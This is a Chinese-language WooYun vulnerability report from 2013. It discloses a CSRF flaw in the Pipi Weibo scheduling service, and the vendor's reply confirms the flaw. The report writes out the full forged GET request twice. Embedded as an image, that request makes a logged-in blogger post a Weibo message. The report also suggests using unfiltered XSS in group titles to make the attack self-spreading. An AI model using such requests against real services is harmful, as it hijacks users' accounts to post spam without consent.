漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2013-027150
漏洞标题：皮皮针对营销博主自动发微博漏洞(配合内部xss也可以蠕动)
相关厂商：皮皮精灵
漏洞作者： 小智
提交时间：2013-07-01 11:07
修复时间：2013-08-15 11:07
公开时间：2013-08-15 11:07
漏洞类型：CSRF
危害等级：高
自评Rank：20
漏洞状态：厂商已经确认
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2013-07-01： 细节已通知厂商并且等待厂商处理中
2013-07-01： 厂商已经确认，细节仅向厂商公开
2013-07-11： 细节向核心白帽子及相关领域专家公开
2013-07-21： 细节向普通白帽子公开
2013-07-31： 细节向实习白帽子公开
2013-08-15： 细节向公众公开
简要描述：
一个很容易的CSRF。他们玩注入玩多了，今天换个口味。。我可是皮皮的忠实客户，很多账号在皮皮。。往不容易被沦陷吧。。这样在营销群发一下，好多广告自动发了。爽歪歪：）
详细说明：
1、定时器Get可以发送微博
2、不需要指定账号。只需要一个图片诱导，即可以让博主发微博。
3、皮皮内部太多xss.例如
给出地址，也可以蠕动~
自动发微博img
http://t.pp.cc/time/index.php?mod=send&action=save&account=&inajax=1&random=983&id=0&isSync=1&content=test2323&uploadpic=&contentpic=&power=0&contentid=0&pid=0&mypid=0&date=2013-06-29&hour=00&minute=21&diff=10&istimer=0&referer=&musicurl=&musictitle=&musicauthor=&videourl=&videopic=&videotitle=&videoshort=&playerurl=©_one=0©_two=0©_three=0©_four=0&submit=yes&rswitch=1&myfrom=pp
漏洞证明：
1、定时器Get可以发送微博
2、不需要指定账号。只需要一个图片诱导，即可以让博主发微博。
3、皮皮内部太多xss.例如互退群的标题：虽然限制了15个字符，但是完全没过滤，可以构造短连接脚本注入
给出地址，也可以蠕动~
自动发微博img
http://t.pp.cc/time/index.php?mod=send&action=save&account=&inajax=1&random=983&id=0&isSync=1&content=test2323&uploadpic=&contentpic=&power=0&contentid=0&pid=0&mypid=0&date=2013-06-29&hour=00&minute=21&diff=10&istimer=0&referer=&musicurl=&musictitle=&musicauthor=&videourl=&videopic=&videotitle=&videoshort=&playerurl=©_one=0©_two=0©_three=0©_four=0&submit=yes&rswitch=1&myfrom=pp
修复方案：
版权声明：转载请注明来源 小智@乌云
漏洞回应
厂商回应：
危害等级：低
漏洞Rank：5
确认时间：2013-07-01 13:50
厂商回复：
感谢小智的发现，目前我们对 csrf 这块的验证确实还不足。
最新状态：
暂无